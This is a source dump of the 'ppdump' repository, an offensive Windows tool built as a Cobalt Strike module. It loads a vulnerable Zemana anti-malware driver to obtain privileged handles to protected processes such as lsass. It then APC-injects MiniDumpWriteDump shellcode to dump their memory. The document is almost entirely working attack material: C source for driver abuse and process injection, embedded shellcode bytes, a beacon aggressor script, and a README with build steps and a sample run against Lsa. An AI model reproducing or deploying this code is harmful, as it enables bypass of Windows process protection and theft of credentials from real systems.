├── src ├── drvs │ ├── zam32.sys │ └── zam64.sys ├── shellcode │ ├── payload.x64.bin │ ├── payload.x86.bin │ ├── payload.x64.h │ └── payload.x86.h ├── ldr │ ├── hash.h │ ├── loader.h │ ├── util.h │ ├── hashes.h │ ├── undoc.h │ ├── hash.c │ ├── util.c │ └── loader.c ├── service.h ├── bomb.h ├── fsutil.h ├── zemana.h ├── bomb.c ├── zemana.c ├── fsutil.c ├── service.c └── dllmain.c ├── Makefile ├── ppdump.cna ├── Makefile.x64 ├── Makefile.x86 └── README.md /src/drvs/zam32.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bharadwajyas/ppdump-public/HEAD/src/drvs/zam32.sys -------------------------------------------------------------------------------- /src/drvs/zam64.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bharadwajyas/ppdump-public/HEAD/src/drvs/zam64.sys -------------------------------------------------------------------------------- /src/shellcode/payload.x64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bharadwajyas/ppdump-public/HEAD/src/shellcode/payload.x64.bin -------------------------------------------------------------------------------- /src/shellcode/payload.x86.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bharadwajyas/ppdump-public/HEAD/src/shellcode/payload.x86.bin -------------------------------------------------------------------------------- /src/ldr/hash.h: -------------------------------------------------------------------------------- 1 | #ifndef _HASH_H_ 2 | #define _HASH_H_ 3 | 4 | DWORD HashStringDjb2(const void *Input, DWORD Length); 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | make -f Makefile.x64 3 | make -f Makefile.x86 4 | 5 | clean: 6 | make -f Makefile.x64 clean 7 | make -f Makefile.x86 clean 8 | -------------------------------------------------------------------------------- /src/ldr/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef _LOADER_H_ 2 | #define _LOADER_H_ 3 | 4 | HMODULE LoadExecutableImage( _In_ LPVOID lpImage, _In_ LPVOID lpParameter ); 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /src/service.h: -------------------------------------------------------------------------------- 1 | #ifndef _SERVICE_H_ 2 | #define _SERVICE_H_ 3 | 4 | BOOL LoadDriver(PCHAR szDriverPath); 5 | BOOL UnloadDriver(PCHAR szDriverPath); 6 | 7 | #endif 8 | -------------------------------------------------------------------------------- /src/bomb.h: -------------------------------------------------------------------------------- 1 | #ifndef _SNAPSHOT_H_ 2 | #define _SNAPSHOT_H_ 3 | 4 | VOID ThreadBombApc( _In_ HANDLE hDriver, _In_ DWORD ProcessId, 5 | _In_ LPVOID ApcBuffer, _In_ LPVOID ApcArgument ); 6 | 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /src/ldr/util.h: -------------------------------------------------------------------------------- 1 | #ifndef _UTIL_H_ 2 | #define _UTIL_H_ 3 | 4 | LPVOID GetLoadedModule( _In_ DWORD ModuleHash ); 5 | 6 | LPVOID GetMemoryFunction( _In_ LPVOID ModuleBase, _In_ DWORD FunctionHash ); 7 | 8 | void InlineCopyMemory( _In_ LPVOID PtrOne, _In_ LPVOID PtrTwo, SIZE_T Length ); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /src/fsutil.h: -------------------------------------------------------------------------------- 1 | #ifndef _FSUTIL_H_ 2 | #define _FSUTIL_H_ 3 | 4 | PCHAR GetTemporaryFile( _In_ INT MaxFileName, _In_ PCHAR szExtension ); 5 | BOOL DumpBufferToFile( _In_ LPCSTR lpszFilePath, 6 | _In_ LPVOID lpBufferToDump, 7 | _In_ SIZE_T LengthOfBuffer ); 8 | 9 | #endif 10 | -------------------------------------------------------------------------------- /src/ldr/hashes.h: -------------------------------------------------------------------------------- 1 | #ifndef _HASHES_H_ 2 | #define _HASHES_H_ 3 | 4 | #define H_NTFLUSHINSTRUCTIONCACHE 0xfacde0ec 5 | #define H_LOADLIBRARYA 0x5fd12a68 6 | #define H_GETPROCADDRESS 0xe202938c 7 | #define H_VIRTUALALLOC 0xb245bce4 8 | #define H_NTDLL 0x48d2ee9a 9 | #define H_KERNEL32 0x16a58fe2 10 | 11 | #endif 12 | -------------------------------------------------------------------------------- /ppdump.cna: -------------------------------------------------------------------------------- 1 | alias ppdump { 2 | if ( -is64 $1 ){ 3 | $bdll = script_resource("ppdump.x64.dll"); 4 | } else { 5 | $bdll = script_resource("ppdump.x86.dll"); 6 | } 7 | bdllspawn($1, $bdll, pack('i-', $2), "Protected Process (Light) Dump", 0, false); 8 | }; 9 | 10 | beacon_command_register( 11 | "ppdump", 12 | "Dump Protected Process Memory Using ZAM Driver", 13 | "Synopsis: ppdump [pid]\n\nAcquire a handle to a target process using a driver and dump its memory"); 14 | -------------------------------------------------------------------------------- /Makefile.x64: -------------------------------------------------------------------------------- 1 | COMPILER_PREFIX := x86_64-w64-mingw32- 2 | CC := $(COMPILER_PREFIX)gcc 3 | CFLAGS := -shared -s 4 | LFLAGS := -ldbghelp -lntdll 5 | INCLUDES := -Isrc/ -Isrc/ldr/ -Isrc/drvs/ 6 | 7 | ppdump.x64.dll: 8 | cp -rf src/drvs/zam.x64.h src/zam.x64.h 9 | cp -rf src/shellcode/payload.x64.h src/payload.x64.h 10 | $(CC) $(CFLAGS) $(LFLAGS) src/*.c src/ldr/*.c -o $@ 11 | 12 | clean: 13 | rm -rf ppdump.x64.dll 14 | rm -rf src/zam.x64.h 15 | rm -rf src/payload.x64.h 16 | -------------------------------------------------------------------------------- /Makefile.x86: -------------------------------------------------------------------------------- 1 | COMPILER_PREFIX := i686-w64-mingw32- 2 | CC := $(COMPILER_PREFIX)gcc 3 | CFLAGS := -shared -s 4 | LFLAGS := -ldbghelp -lntdll 5 | INCLUDES := -Isrc/ -Isrc/ldr/ -Isrc/drvs/ 6 | 7 | ppdump.x86.dll: 8 | cp -rf src/drvs/zam.x86.h src/zam.x86.h 9 | cp -rf src/shellcode/payload.x86.h src/payload.x86.h 10 | $(CC) $(CFLAGS) $(LFLAGS) src/*.c src/ldr/*.c -o $@ 11 | 12 | clean: 13 | rm -rf ppdump.x86.dll 14 | rm -rf src/zam.x86.h 15 | rm -rf src/payload.x86.h 16 | -------------------------------------------------------------------------------- /src/zemana.h: -------------------------------------------------------------------------------- 1 | #ifndef _ZEMANA_H_ 2 | #define _ZEMANA_H_ 3 | 4 | HANDLE ZemanaOpenHandle(); 5 | 6 | BOOL ZemanaRegisterProcess( _In_ HANDLE hDevice, 7 | _In_ DWORD TrustedProcess ); 8 | BOOL ZemanaOpenProcess( _In_ HANDLE hDevice, 9 | _In_ DWORD ProcessNumber, 10 | _Out_ PHANDLE ProcessHandle ); 11 | BOOL ZemanaOpenThread( _In_ HANDLE hDevice, 12 | _In_ DWORD ThreadId, 13 | _Out_ PHANDLE ThreadHandle ); 14 | #endif 15 | -------------------------------------------------------------------------------- /src/ldr/undoc.h: -------------------------------------------------------------------------------- 1 | #ifndef _UNDOC_H_ 2 | #define _UNDOC_H_ 3 | 4 | typedef struct _C_PEB_LDR_DATA 5 | { 6 | ULONG Length; 7 | BOOL Initialized; 8 | PVOID SsHandle; 9 | LIST_ENTRY InLoadOrderModuleList; 10 | LIST_ENTRY InMemoryOrderModuleList; 11 | LIST_ENTRY InInitializationOrderModuleList; 12 | } C_PEB_LDR_DATA, *C_PPEB_LDR_DATA; 13 | 14 | typedef struct _C_LDR_DATA_TABLE_ENTRY 15 | { 16 | LIST_ENTRY InLoadOrderLinks; 17 | LIST_ENTRY InMemoryOrderLinks; 18 | LIST_ENTRY InInitializationOrderLinks; 19 | PVOID DllBase; 20 | PVOID Entrypoint; 21 | ULONG SizeOfImage; 22 | UNICODE_STRING FullDllName; 23 | UNICODE_STRING BaseDllName; 24 | } C_LDR_DATA_TABLE_ENTRY, *C_PLDR_DATA_TABLE_ENTRY; 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /src/ldr/hash.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | DWORD HashStringDjb2(const void *Input, DWORD Length) 4 | { 5 | const unsigned char *StringHash = (const unsigned char *)Input; 6 | DWORD HashString = 5138; 7 | 8 | while ( 1 ) { 9 | char CurrentCharacter = *StringHash; 10 | 11 | if (Length == 0) { 12 | if (*StringHash == 0) 13 | break; 14 | } else { 15 | if ((DWORD)(StringHash - (const unsigned char *)Input) >= Length) 16 | break; 17 | if (*StringHash == 0) { 18 | ++StringHash; continue; 19 | }; 20 | }; 21 | 22 | if (CurrentCharacter >= 'a') 23 | CurrentCharacter -= 0x20; 24 | 25 | HashString = ((HashString << 5) + HashString) + CurrentCharacter; 26 | 27 | ++StringHash; 28 | } 29 | return HashString; 30 | }; 31 | -------------------------------------------------------------------------------- /src/bomb.c: -------------------------------------------------------------------------------- 1 | #define _WIN32_LEAN_AND_MEAN 2 | #include 3 | #include 4 | #include 5 | #include "zemana.h" 6 | 7 | 8 | VOID ThreadBombApc( _In_ HANDLE hDriver, _In_ DWORD ProcessId, 9 | _In_ LPVOID ApcBuffer, _In_ LPVOID ApcArgument ) 10 | { 11 | HANDLE ThreadSnap = NULL; 12 | THREADENTRY32 ThreadEntr = { 0 }; 13 | 14 | ThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, ProcessId); 15 | if ( ThreadSnap != INVALID_HANDLE_VALUE ) 16 | { 17 | ThreadEntr.dwSize = sizeof(THREADENTRY32); 18 | if ( Thread32First(ThreadSnap, &ThreadEntr) ) { 19 | while ( Thread32Next(ThreadSnap, &ThreadEntr) ) 20 | { 21 | if ( ProcessId == ThreadEntr.th32OwnerProcessID ) { 22 | HANDLE hThread = NULL; 23 | if ( ZemanaOpenThread( hDriver, ThreadEntr.th32ThreadID, &hThread) ) { 24 | SuspendThread( hThread ); 25 | if ( QueueUserAPC( ApcBuffer, hThread, (ULONG_PTR)ApcArgument ) ) { 26 | printf("[+] apc successfully queued for %lu\n", ThreadEntr.th32ThreadID); 27 | } 28 | ResumeThread( hThread ); 29 | Sleep( 5000 ); // for some reason this fixes most of the "bugs". hrm. 30 | ResumeThread( hThread ); 31 | CloseHandle( hThread ); 32 | }; 33 | }; 34 | }; 35 | }; 36 | CloseHandle( ThreadSnap ); 37 | }; 38 | }; 39 | -------------------------------------------------------------------------------- /src/zemana.c: -------------------------------------------------------------------------------- 1 | #define _WIN32_LEAN_AND_MEAN 2 | #include 3 | 4 | HANDLE ZemanaOpenHandle() 5 | { 6 | return CreateFileA 7 | ( 8 | "\\\\.\\ZemanaAntiMalware", 9 | GENERIC_READ | GENERIC_WRITE, 10 | 0, NULL, OPEN_EXISTING, 11 | FILE_ATTRIBUTE_NORMAL, NULL 12 | ); 13 | }; 14 | 15 | BOOL ZemanaRegisterProcess( _In_ HANDLE hDevice, 16 | _In_ DWORD TrustedProcess ) 17 | { 18 | DWORD ReturnedSize = 0; 19 | return DeviceIoControl(hDevice, 20 | 0x80002010, 21 | &TrustedProcess, 22 | sizeof(DWORD), 23 | NULL, 24 | 0, 25 | &ReturnedSize, 26 | NULL); 27 | }; 28 | 29 | BOOL ZemanaOpenProcess( _In_ HANDLE hDevice, 30 | _In_ DWORD ProcessNumber, 31 | _Out_ PHANDLE ProcessHandle ) 32 | { 33 | DWORD ReturnedSize = 0; 34 | return DeviceIoControl(hDevice, 35 | 0x8000204C, 36 | &ProcessNumber, 37 | sizeof(DWORD), 38 | ProcessHandle, 39 | sizeof(HANDLE), 40 | &ReturnedSize, 41 | NULL); 42 | }; 43 | 44 | BOOL ZemanaOpenThread( _In_ HANDLE hDevice, 45 | _In_ DWORD ThreadId, 46 | _Out_ PHANDLE ThreadHandle ) 47 | { 48 | DWORD ReturnSize = 0; 49 | return DeviceIoControl(hDevice, 50 | 0x80002084, 51 | &ThreadId, 52 | sizeof(DWORD), 53 | ThreadHandle, 54 | sizeof(HANDLE), 55 | &ReturnSize, 56 | NULL); 57 | }; 58 | -------------------------------------------------------------------------------- /src/fsutil.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | typedef 8 | NTSTATUS 9 | ( NTAPI * fnRtlRandomEx ) 10 | ( 11 | _In_ _Out_ PULONG Seed 12 | ); 13 | 14 | BOOL DumpBufferToFile( _In_ LPCSTR lpszFilePath, 15 | _In_ LPVOID lpBufferToDump, 16 | _In_ SIZE_T LengthOfBuffer ) 17 | { 18 | HANDLE hFile = NULL; 19 | DWORD LengthWrote = 0; 20 | 21 | hFile = CreateFileA( lpszFilePath, GENERIC_READ | GENERIC_WRITE, 22 | 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 23 | NULL ); 24 | if ( hFile != INVALID_HANDLE_VALUE ) { 25 | WriteFile( hFile, lpBufferToDump, LengthOfBuffer, &LengthWrote, NULL ); 26 | if ( LengthWrote == LengthOfBuffer ) { 27 | printf("[+] Wrote %lu to %s successfully\n", LengthWrote, lpszFilePath); 28 | } else { 29 | printf("[!] DumpBufferToFile(): GetLastError() -> 0x%x\n", GetLastError()); 30 | }; CloseHandle( hFile ); 31 | return TRUE; 32 | } else { printf("[!] DumpBufferToFile(): GetLastError -> 0x%x\n", GetLastError()); }; 33 | 34 | return FALSE; 35 | }; 36 | 37 | PCHAR GetTemporaryFile( _In_ INT MaxFileName, _In_ PCHAR szExtension ) 38 | { 39 | CHAR szTempPath[MAX_PATH + 1]; 40 | CHAR szFileName[MaxFileName + 1]; 41 | PCHAR szFullFilePath = NULL; 42 | PCHAR szBadChar = NULL; 43 | ULONG ulSeedCount = 0; 44 | ULONG ulIndexTbl = 0; 45 | fnRtlRandomEx RtlRandomEx = NULL; 46 | CHAR szAnsiTable[] = 47 | "0123456789" 48 | "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 49 | "abcdefghijklmnopqrstuvwxyz"; 50 | 51 | RtlSecureZeroMemory( &szTempPath, MAX_PATH + 1); 52 | RtlSecureZeroMemory( &szFileName, MaxFileName + 1); 53 | if ( GetTempPathA( MAX_PATH + 1, (PCHAR)&szTempPath ) != 0 ) { 54 | ulSeedCount = GetTickCount(); 55 | 56 | for ( int i = 0 ; i < MaxFileName ; i++ ) { 57 | RtlRandomEx = (fnRtlRandomEx)GetProcAddress( LoadLibraryA("ntdll.dll"), "RtlRandomEx" ); 58 | ulIndexTbl = RtlRandomEx(&ulSeedCount) % (sizeof(szAnsiTable) - 2); 59 | szFileName[i] = szAnsiTable[ulIndexTbl]; 60 | }; 61 | 62 | asprintf(&szFullFilePath, "%s%s%s", (PCHAR)&szTempPath, (PCHAR)&szFileName, szExtension); 63 | return szFullFilePath; 64 | }; 65 | return NULL; 66 | }; 67 | -------------------------------------------------------------------------------- /src/ldr/util.c: -------------------------------------------------------------------------------- 1 | #define _WIN32_LEAN_AND_MEAN 2 | #include 3 | #include 4 | #include "undoc.h" 5 | #include "hash.h" 6 | #define PTR(x) ((ULONG_PTR)x) 7 | #define NT_HEADER(x) ( PTR(x) + ((PIMAGE_DOS_HEADER)x)->e_lfanew ) 8 | 9 | LPVOID GetLoadedModule( _In_ DWORD ModuleHash ) 10 | { 11 | PLIST_ENTRY LstEnt = NULL; 12 | PLIST_ENTRY LstHdr = NULL; 13 | PPEB PebPtr = NULL; 14 | C_PPEB_LDR_DATA PebLdr = NULL; 15 | C_PLDR_DATA_TABLE_ENTRY LdrEnt = NULL; 16 | DWORD HshMod = 0; 17 | 18 | #if defined(_M_X64) || defined(_WIN64) 19 | PebPtr = (PPEB)__readgsqword(0x60); 20 | #else 21 | PebPtr = (PPEB)__readfsdword(0x30); 22 | #endif 23 | 24 | PebLdr = (C_PPEB_LDR_DATA)PebPtr->Ldr; 25 | LstHdr = &PebLdr->InLoadOrderModuleList; 26 | LstEnt = LstHdr->Flink; 27 | while ( ( LstEnt != LstHdr ) && ( LstEnt = LstEnt->Flink ) ) { 28 | LdrEnt = (C_PLDR_DATA_TABLE_ENTRY)LstEnt; 29 | HshMod = HashStringDjb2(LdrEnt->BaseDllName.Buffer, 30 | LdrEnt->BaseDllName.Length); 31 | if ( HshMod == ModuleHash ) return LdrEnt->DllBase; 32 | }; 33 | return NULL; 34 | }; 35 | 36 | LPVOID GetMemoryFunction( _In_ LPVOID ModuleBase, _In_ DWORD FunctionHash ) 37 | { 38 | PIMAGE_NT_HEADERS NtsHdr = NULL; 39 | PIMAGE_EXPORT_DIRECTORY ExpHdr = NULL; 40 | PIMAGE_DATA_DIRECTORY DatHdr = NULL; 41 | DWORD FunHsh = 0; 42 | PDWORD StrOff = NULL; 43 | PDWORD FunOff = NULL; 44 | PUSHORT OrdOff = NULL; 45 | SIZE_T nCount = 0; 46 | 47 | NtsHdr = (PIMAGE_NT_HEADERS)NT_HEADER( ModuleBase ); 48 | DatHdr = &NtsHdr->OptionalHeader.DataDirectory[0]; 49 | ExpHdr = (PIMAGE_EXPORT_DIRECTORY)(PTR(ModuleBase) + 50 | DatHdr->VirtualAddress); 51 | 52 | StrOff = (PDWORD) (PTR( ModuleBase ) + ExpHdr->AddressOfNames); 53 | FunOff = (PDWORD) (PTR( ModuleBase ) + ExpHdr->AddressOfFunctions); 54 | OrdOff = (PUSHORT)(PTR( ModuleBase ) + ExpHdr->AddressOfNameOrdinals); 55 | 56 | for ( int i = 0 ; i < ExpHdr->NumberOfNames ; i++ ) 57 | { 58 | FunHsh = HashStringDjb2( (PCHAR)( PTR( ModuleBase ) + StrOff[i] ), 59 | (DWORD)( 0 ) ); 60 | if ( FunHsh == FunctionHash ) return (LPVOID)( 61 | PTR(ModuleBase) + FunOff[OrdOff[i]] 62 | ); 63 | }; 64 | return NULL; 65 | }; 66 | 67 | void InlineCopyMemory( _In_ LPVOID PtrOne, _In_ LPVOID PtrTwo, SIZE_T Length ) 68 | { 69 | SIZE_T LengthToCopy = Length; 70 | LPVOID CopyTo = PtrOne; 71 | LPVOID CopyFrom = PtrTwo; 72 | 73 | do 74 | { 75 | *(BYTE *)CopyTo++ = *(BYTE *)CopyFrom++; 76 | } while ( LengthToCopy-- != 0 ); 77 | }; 78 | -------------------------------------------------------------------------------- /src/service.c: -------------------------------------------------------------------------------- 1 | #define WIN32_LEAN_AND_MEAN 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "service.h" 7 | 8 | PCHAR ExtractService( 9 | PCHAR szDriverPath 10 | ) 11 | { 12 | PCHAR szDriverSvc = NULL; 13 | PCHAR szDriverStr = NULL; 14 | PCHAR szDriverExt = NULL; 15 | DWORD dwDriverLen = 0; 16 | 17 | if ( ((szDriverStr = strrchr(szDriverPath, '\\')) != NULL) || 18 | ((szDriverStr = strrchr(szDriverPath, '/')) != NULL) && 19 | ((szDriverExt = strstr(szDriverPath, ".sys")) != NULL) 20 | ) 21 | { 22 | szDriverStr++; 23 | 24 | dwDriverLen = (DWORD)(szDriverExt - szDriverStr); 25 | szDriverSvc = malloc(dwDriverLen+1); 26 | 27 | strncpy(szDriverSvc, szDriverStr, dwDriverLen); 28 | 29 | return szDriverSvc; 30 | }; 31 | return NULL; 32 | }; 33 | 34 | BOOL LoadDriver( 35 | PCHAR szDriverPath 36 | ) 37 | { 38 | PCHAR szDriverSvc = NULL; 39 | SC_HANDLE ServiceMan = NULL; 40 | SC_HANDLE ServicePtr = NULL; 41 | BOOL boolRetVal = FALSE; 42 | 43 | szDriverSvc = ExtractService(szDriverPath); 44 | ServiceMan = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); 45 | if ( ServiceMan != NULL ) { 46 | ServicePtr = CreateServiceA(ServiceMan, szDriverSvc, szDriverSvc, 47 | SERVICE_START | DELETE | SERVICE_STOP, 48 | SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, 49 | SERVICE_ERROR_IGNORE, szDriverPath, NULL, 50 | NULL, NULL, NULL, NULL); 51 | if ( ServicePtr != NULL ) { 52 | printf("[ ] registered service %s successfully\n", szDriverSvc); 53 | if ( StartService(ServicePtr, 0, NULL) == TRUE ) { 54 | printf("[ ] started service %s successfully\n", szDriverSvc); 55 | boolRetVal = TRUE; 56 | } else { printf("[!] LoadDriver(): GetLastError() -> 0x%x\n", GetLastError()); }; 57 | CloseServiceHandle(ServicePtr); 58 | } else { printf("[!] LoadDriver(): GetLastError() -> 0x%x\n", GetLastError()); }; 59 | CloseServiceHandle(ServiceMan); 60 | }; 61 | if ( szDriverSvc != NULL ) 62 | free(szDriverSvc); 63 | 64 | return boolRetVal; 65 | }; 66 | 67 | BOOL UnloadDriver( 68 | PCHAR szDriverPath 69 | ) 70 | { 71 | PCHAR szDriverSvc = NULL; 72 | SC_HANDLE ServiceMan = NULL; 73 | SC_HANDLE ServicePtr = NULL; 74 | SERVICE_STATUS ServiceStat = { 0 }; 75 | BOOL boolRetVal = FALSE; 76 | 77 | szDriverSvc = ExtractService(szDriverPath); 78 | ServiceMan = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); 79 | if ( ServiceMan != NULL ) { 80 | ServicePtr = OpenServiceA(ServiceMan, szDriverSvc, SERVICE_STOP | DELETE); 81 | if ( ServicePtr != NULL ) { 82 | ControlService(ServicePtr, SERVICE_CONTROL_STOP, &ServiceStat); 83 | if ( DeleteService(ServicePtr) != TRUE ) { 84 | printf("[!] failed to delete service %s, cleanup manually!\n", szDriverSvc); 85 | } else { printf("[ ] deleted service %s successfully\n", szDriverSvc); }; 86 | CloseServiceHandle(ServicePtr); 87 | boolRetVal = TRUE; 88 | }; 89 | CloseServiceHandle(ServiceMan); 90 | }; 91 | if ( szDriverSvc != NULL ) 92 | free(szDriverSvc); 93 | 94 | return boolRetVal; 95 | }; 96 | -------------------------------------------------------------------------------- /src/dllmain.c: -------------------------------------------------------------------------------- 1 | #define _WIN32_LEAN_AND_MEAN 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "fsutil.h" 7 | #include "service.h" 8 | #include "zemana.h" 9 | #include "bomb.h" 10 | #if defined(_WIN64) || defined(_M_X64) 11 | #include "zam.x64.h" 12 | #include "payload.x64.h" 13 | #else 14 | #include "zam.x86.h" 15 | #include "payload.x86.h" 16 | #endif 17 | 18 | VOID Entrypoint( _In_ DWORD ProcessId ) { 19 | PCHAR szFileName = GetTemporaryFile(5, ".sys"); 20 | PCHAR szMiniDump = GetTemporaryFile(5, ".dmp"); 21 | HANDLE hDriver = NULL; 22 | HANDLE hProcess = NULL; 23 | HANDLE hThread = NULL; 24 | 25 | printf("[ ] driver will be stored in %s\n", szFileName); 26 | printf("[ ] minidump will be stored in %s\n", szMiniDump); 27 | if ( DumpBufferToFile(szFileName, sz_zam, sizeof(sz_zam) - 1) ) { 28 | printf("[ ] attemping to load %s with service control manager\n", szFileName); 29 | if ( LoadDriver( szFileName ) == TRUE ) { 30 | printf("[+] LoadDriver() successfully loaded the driver\n"); 31 | 32 | hDriver = ZemanaOpenHandle(); 33 | if ( hDriver != INVALID_HANDLE_VALUE ) { 34 | printf("[ ] Calling ZemanaRegisterProcess() to add %lu\n", GetCurrentProcessId()); 35 | if ( ZemanaRegisterProcess( hDriver, GetCurrentProcessId() ) == TRUE ) { 36 | printf("[ ] Opening target process -> %lu\n", ProcessId); 37 | if ( ZemanaOpenProcess( hDriver, ProcessId, & hProcess ) ) { 38 | printf("\n ======= ENTER THE DANGER ZONE =======\n"); 39 | 40 | LPVOID ShellcodeBuffer = NULL; 41 | LPVOID ArgumentBuffer = NULL; 42 | ULONG_PTR SizeOfShellcode = 0; 43 | SIZE_T BytesWrote = 0; 44 | 45 | SizeOfShellcode = sizeof(sz_shellcode); 46 | ShellcodeBuffer = VirtualAllocEx(hProcess, NULL, SizeOfShellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 47 | ArgumentBuffer = VirtualAllocEx(hProcess, NULL, strlen(szMiniDump), MEM_COMMIT, PAGE_READWRITE); 48 | WriteProcessMemory( hProcess, ShellcodeBuffer, sz_shellcode, SizeOfShellcode, &BytesWrote ); 49 | WriteProcessMemory( hProcess, ArgumentBuffer , szMiniDump, strlen(szMiniDump) + 1, &BytesWrote ); 50 | printf("[ ] MiniDumpWriteDump Shellcode is %i bytes\n", SizeOfShellcode); 51 | printf("[ ] Attemping to APC Bomb All Threads\n"); 52 | ThreadBombApc( hDriver, ProcessId, ShellcodeBuffer, ArgumentBuffer ); 53 | 54 | printf(" ======= LEAVE THE DANGER ZONE =======\n\n"); 55 | CloseHandle( hProcess ); 56 | CloseHandle( hDriver ); 57 | }; 58 | }; 59 | CloseHandle(ZemanaOpenHandle); 60 | }; 61 | }; 62 | UnloadDriver( szFileName ); 63 | } else { printf("[!] Entrypoint: GetLastError() -> 0x%x\n", GetLastError()); }; 64 | 65 | if ( DeleteFileA(szFileName) != TRUE ) 66 | printf("[!] failed to delete %s: GetLastError() -> 0x%x\n", 67 | szFileName, GetLastError()); 68 | }; 69 | 70 | BOOL DllMain( _In_ HINSTANCE hModule, 71 | _In_ ULONG32 ulAttachReason, 72 | _In_ LPVOID lpParameter ) 73 | { 74 | DWORD InputProcessNumber = *(DWORD *)lpParameter; 75 | 76 | switch (ulAttachReason) { 77 | case DLL_PROCESS_ATTACH: 78 | if ( InputProcessNumber == 0 ) { 79 | printf("[!] please provide a valid process id\n"); 80 | break; 81 | }; 82 | Entrypoint(InputProcessNumber); 83 | break; 84 | case DLL_PROCESS_DETACH: 85 | case DLL_THREAD_ATTACH: 86 | case DLL_THREAD_DETACH: 87 | break; 88 | }; 89 | fflush( stdout ); 90 | ExitProcess ( ERROR_SUCCESS ); 91 | return TRUE; 92 | }; 93 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## About 2 | 3 | The bug that I abuse goes to [@Dark_Puzzle](https://twitter.com/Dark_Puzzle) whom disclosed [here](http://rce4fun.blogspot.com/2018/02/malwarefox-antimalware-zam64sys.html) the privileged registration with Zemana AntiMalware. I only expanded upon this to use an additional IOCTL to open a thread with FULL_ACCESS (but still with some limitations!). 4 | 5 | Protected Process (Light) on the latest iterations of Microsoft Windows has become the bane of most attackers - it prevents tools such as Mimikatz from obtaining a privileged handle to critical processes such as lsass, winlogon, and crss, all of which control the Microsoft kernel in various ways. As such, I studied various means of attacking the kernel and discovered one particular way which succeeded - using a stolen kernel driver to open a privileged handle the process and its underlying threads. 6 | 7 | Using these privileged handles, I was able to successfully "APC Bomb" each individual threads until it reached an altertable state by using QueueUserAPC, and Stomping / Resuming the threads a multitude of times. 8 | 9 | ### Build 10 | 11 | The ppdump module can be built using `Make` and `Mingw-W64`. Simply download the make build system using your favorite package manager, as well the Mingw compiler package, and then run `make`. 12 | 13 | ```sh 14 | $ make 15 | make -f Makefile.x64 16 | make[1]: Entering directory '/home/austin/projects/ppdump-public' 17 | cp -rf src/drvs/zam.x64.h src/zam.x64.h 18 | cp -rf src/shellcode/payload.x64.h src/payload.x64.h 19 | x86_64-w64-mingw32-gcc -shared -s -ldbghelp -lntdll src/*.c src/ldr/*.c -o ppdump.x64.dll 20 | make[1]: Leaving directory '/home/austin/projects/ppdump-public' 21 | make -f Makefile.x86 22 | make[1]: Entering directory '/home/austin/projects/ppdump-public' 23 | cp -rf src/drvs/zam.x86.h src/zam.x86.h 24 | cp -rf src/shellcode/payload.x86.h src/payload.x86.h 25 | i686-w64-mingw32-gcc -shared -s -ldbghelp -lntdll src/*.c src/ldr/*.c -o ppdump.x86.dll 26 | make[1]: Leaving directory '/home/austin/projects/ppdump-public 27 | $ file ppdump.x64.dll ppdump.x64.dll 28 | ``` 29 | 30 | ### Usage 31 | 32 | Firstly, load the provided Cobalt Strike Aggresor Script into your script resource / console. Afterwards, using `ppdump` command with the provided PID (Process ID) of the target process - pass `ppdump `, which will kick off the Reflective Module loading process, and then start initializing the driver. A successful run with the process ID of Lsa should result in the following. 33 | 34 | ``` 35 | beacon> ppdump 820 36 | [ ] driver will be stored in C:\WINDOWS\TEMP\tiGr4.sys 37 | [ ] minidump will be stored in C:\WINDOWS\TEMP\usaxb.dmp 38 | [+] Wrote 232792 to C:\WINDOWS\TEMP\tiGr4.sys successfully 39 | [ ] attemping to load C:\WINDOWS\TEMP\tiGr4.sys with service control manager 40 | [ ] registered service tiGr4.sys successfully 41 | [ ] started service tiGr4.sys successfully 42 | [+] LoadDriver() successfully loaded the driver 43 | [ ] Calling ZemanaRegisterProcess() to add 3616 44 | [ ] Opening target process -> 820 45 | 46 | ======= ENTER THE DANGER ZONE ======= 47 | [ ] MiniDumpWriteDump Shellcode is 1025 bytes 48 | [ ] Attemping to APC Bomb All Threads 49 | [+] apc successfully queued for 836 50 | [+] apc successfully queued for 848 51 | [+] apc successfully queued for 852 52 | [+] apc successfully queued for 864 53 | [+] apc successfully queued for 3456 54 | [+] apc successfully queued for 4044 55 | [+] apc successfully queued for 344 56 | ======= LEAVE THE DANGER ZONE ======= 57 | 58 | [ ] deleted service tiGr4.sys successfully 59 | ``` 60 | 61 | ## Bugs 62 | **NOTE**: Please do not run multiple instances of the ppdump command - wait until one has completed before running another. This is because only one driver can be loaded at a time - so if two are loaded at the same time, the process tends to break quiet quickly. Furthermore some of the threads will lock up during the injection process if you run too many of the DLL at the same time. 63 | -------------------------------------------------------------------------------- /src/shellcode/payload.x64.h: -------------------------------------------------------------------------------- 1 | unsigned char sz_shellcode[] = 2 | "\x56\x48\x89\xe6\x48\x83\xe4\xf0\x48\x83\xec\x20\xe8\x7f\x01" 3 | "\x00\x00\x48\x89\xf4\x5e\xc3\x66\x2e\x0f\x1f\x84\x00\x00\x00" 4 | "\x00\x00\x57\x56\x53\x48\x83\xec\x20\x65\x48\x8b\x04\x25\x60" 5 | "\x00\x00\x00\x48\x8b\x40\x18\x48\x8b\x58\x10\x48\x8d\x78\x10" 6 | 